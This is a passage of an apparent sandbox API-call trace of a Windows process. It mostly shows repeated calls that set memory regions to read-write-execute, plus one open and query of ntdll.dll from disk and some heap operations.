OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.383] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.393] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.505] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.883] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.929] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.975] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.049] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x1eb8e150, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0370.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.174] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.257] NtCreateFile (in: FileHandle=0x1eb8e170, DesiredAccess=0x120089, ObjectAttributes=0x1eb8e138*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1eb8e158, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x1eb8e170*=0x3a8, IoStatusBlock=0x1eb8e158*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0370.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.283] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x920a00) returned 1 [0370.344] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.584] NtQueryInformationFile (in: FileHandle=0x3a8, IoStatusBlock=0x1eb8e158, FileInformation=0x1eb8decc, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x1eb8e158, FileInformation=0x1eb8decc) returned 0x0 [0370.589] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.613] NtClose (Handle=0x3a8) returned 0x0 [0370.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.628] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x208) returned 0x921490 [0370.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.739] 